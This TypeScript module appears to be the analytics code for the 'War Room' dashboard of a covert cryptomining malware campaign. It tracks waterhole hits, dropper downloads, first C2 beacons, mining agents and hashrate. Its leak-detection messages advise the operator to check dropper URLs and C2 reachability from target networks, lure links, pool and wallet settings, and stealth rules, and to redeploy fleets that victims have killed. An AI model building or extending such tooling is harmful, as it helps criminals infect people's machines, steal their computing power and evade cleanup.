/** War Room funnel helpers for Emberwake campaign dashboard. */ export interface WarRoomCampaign { campaign: string; hits: number; downloads: number; first_beacon?: number; mining?: number; agents: number; online: number; hashrate: number; conversion_pct: number; daily_hits: number[]; last_activity?: string; pins?: string[]; } export interface WarRoomResponse { generated_at: string; days: number; campaigns: WarRoomCampaign[]; } export type FunnelStageId = 'hits' | 'downloads' | 'first_beacon' | 'mining' | 'hashrate'; export interface FunnelStage { id: FunnelStageId; label: string; value: number; display: string; /** Conversion from previous stage (0 for first stage). */ rateFromPrev: number | null; } export type FunnelLeakSeverity = 'warn' | 'critical'; export interface FunnelLeak { stage: string; severity: FunnelLeakSeverity; message: string; action: string; } /** Agents ÷ hits × 100, rounded to one decimal. */ export function conversionPct(agents: number, hits: number): number { if (hits <= 0) return 0; return Math.round((agents / hits) * 1000) / 10; } /** Stage-to-stage conversion %, rounded to one decimal. */ export function stageConversionPct(to: number, from: number): number { if (from <= 0) return 0; return Math.round((to / from) * 1000) / 10; } /** Resolved first-beacon count (falls back to agents for older payloads). */ export function firstBeaconCount(c: WarRoomCampaign): number { if (c.first_beacon != null) return c.first_beacon; return c.agents ?? 0; } /** Resolved mining count (agents with hashrate > 0). */ export function miningCount(c: WarRoomCampaign): number { if (c.mining != null) return c.mining; return c.hashrate > 0 ? 1 : 0; } /** Left-to-right funnel stages for a campaign card. */ export function funnelStages(c: WarRoomCampaign): FunnelStage[] { const beacon = firstBeaconCount(c); const mining = miningCount(c); const hits = c.hits ?? 0; const downloads = c.downloads ?? 0; return [ { id: 'hits', label: 'Hits', value: hits, display: String(hits), rateFromPrev: null }, { id: 'downloads', label: 'Downloads', value: downloads, display: String(downloads), rateFromPrev: stageConversionPct(downloads, hits), }, { id: 'first_beacon', label: 'First beacon', value: beacon, display: String(beacon), rateFromPrev: stageConversionPct(beacon, downloads), }, { id: 'mining', label: 'Mining', value: mining, display: String(mining), rateFromPrev: stageConversionPct(mining, beacon), }, { id: 'hashrate', label: 'Hashrate', value: c.hashrate ?? 0, display: formatHashrate(c.hashrate), rateFromPrev: mining > 0 && (c.hashrate ?? 0) > 0 ? 100 : stageConversionPct(c.hashrate > 0 ? 1 : 0, mining), }, ]; } /** Max pipe fill width (0–100) relative to funnel entry hits. */ export function funnelPipeWidth(stageValue: number, hits: number, isHashrate = false): number { if (isHashrate) { return stageValue > 0 ? 100 : 8; } if (hits <= 0) return stageValue > 0 ? 100 : 8; return Math.max(8, Math.round((stageValue / hits) * 100)); } /** * Detect funnel leaks — actionable callouts when a stage drops sharply. * Returns highest-severity leaks first. */ export function detectFunnelLeaks(c: WarRoomCampaign): FunnelLeak[] { const hits = c.hits ?? 0; const downloads = c.downloads ?? 0; const beacon = firstBeaconCount(c); const mining = miningCount(c); const leaks: FunnelLeak[] = []; if (hits >= 50 && beacon === 0) { leaks.push({ stage: 'hits→beacon', severity: 'critical', message: `${hits} hits but zero agents — funnel dead before beacon.`, action: 'Verify dropper URL, install script, and C2 reachability from target network.', }); } else if (hits >= 20 && downloads === 0) { leaks.push({ stage: 'hits→downloads', severity: 'warn', message: `${hits} page hits with no downloads.`, action: 'Check lure CTA, blocked hosts, or broken /get link on the waterhole.', }); } if (downloads >= 5 && beacon === 0) { leaks.push({ stage: 'downloads→beacon', severity: 'critical', message: `${downloads} downloads but no first beacon.`, action: 'Worker may fail install — confirm server URL, TLS, and agent binary for target OS.', }); } if (beacon >= 3 && mining === 0) { leaks.push({ stage: 'beacon→mining', severity: 'warn', message: `${beacon} agents connected but none mining.`, action: 'Check pool/wallet in build, idle policy, GPU drivers, or Crucible schedule.', }); } if (beacon > 0 && mining > 0 && (c.hashrate ?? 0) <= 0 && (c.online ?? 0) === 0) { leaks.push({ stage: 'mining→hashrate', severity: 'warn', message: 'Agents mined before but fleet is offline with zero hashrate.', action: 'Fleet may have been killed — re-deploy or check stealth / idle resume rules.', }); } const order: Record = { critical: 0, warn: 1 }; leaks.sort((a, b) => order[a.severity] - order[b.severity]); return leaks; } /** Compact hashrate for table cells (H/s). */ export function formatHashrate(hs: number): string { if (!hs || hs <= 0) return '—'; if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`; if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} kH/s`; return `${Math.round(hs)} H/s`; } /** Max value in a daily hits series (for sparkline scaling). */ export function sparklineMax(values: number[]): number { if (!values.length) return 1; return Math.max(1, ...values); } /** Inline height % for CSS bar sparkline (0–100). */ export function sparklineBarHeight(value: number, max: number): number { if (max <= 0 || value <= 0) return 4; return Math.max(8, Math.round((value / max) * 100)); } /** Compact delta label for odometer tick-ups (null when unchanged). */ export function formatOdometerDelta(prev: number, next: number): string | null { const delta = next - prev; if (delta === 0 || !Number.isFinite(delta)) return null; const sign = delta > 0 ? '+' : '−'; const abs = Math.abs(delta); if (abs >= 1_000_000) return `${sign}${(abs / 1_000_000).toFixed(1)}M`; if (abs >= 10_000) return `${sign}${(abs / 1_000).toFixed(1)}k`; if (Number.isInteger(abs) || abs >= 100) return `${sign}${Math.round(abs)}`; return `${sign}${abs.toFixed(1)}`; } /** Stagger delay (ms) for funnel card stage animations. */ export function staggerDelayMs(cardIndex: number, itemIndex: number, baseMs = 45): number { return cardIndex * 110 + itemIndex * baseMs; } /** Eased tick duration scales with magnitude of change. */ export function odometerDurationMs(delta: number): number { const abs = Math.abs(delta); if (abs <= 3) return 380; if (abs <= 25) return 560; if (abs <= 200) return 720; return 920; } /** Cubic ease-out for odometer interpolation (0 → 1). */ export function odometerEase(t: number): number { const clamped = Math.min(1, Math.max(0, t)); return 1 - (1 - clamped) ** 3; } /** Interpolate between two numeric endpoints with odometer easing. */ export function odometerLerp(from: number, to: number, progress: number): number { return from + (to - from) * odometerEase(progress); }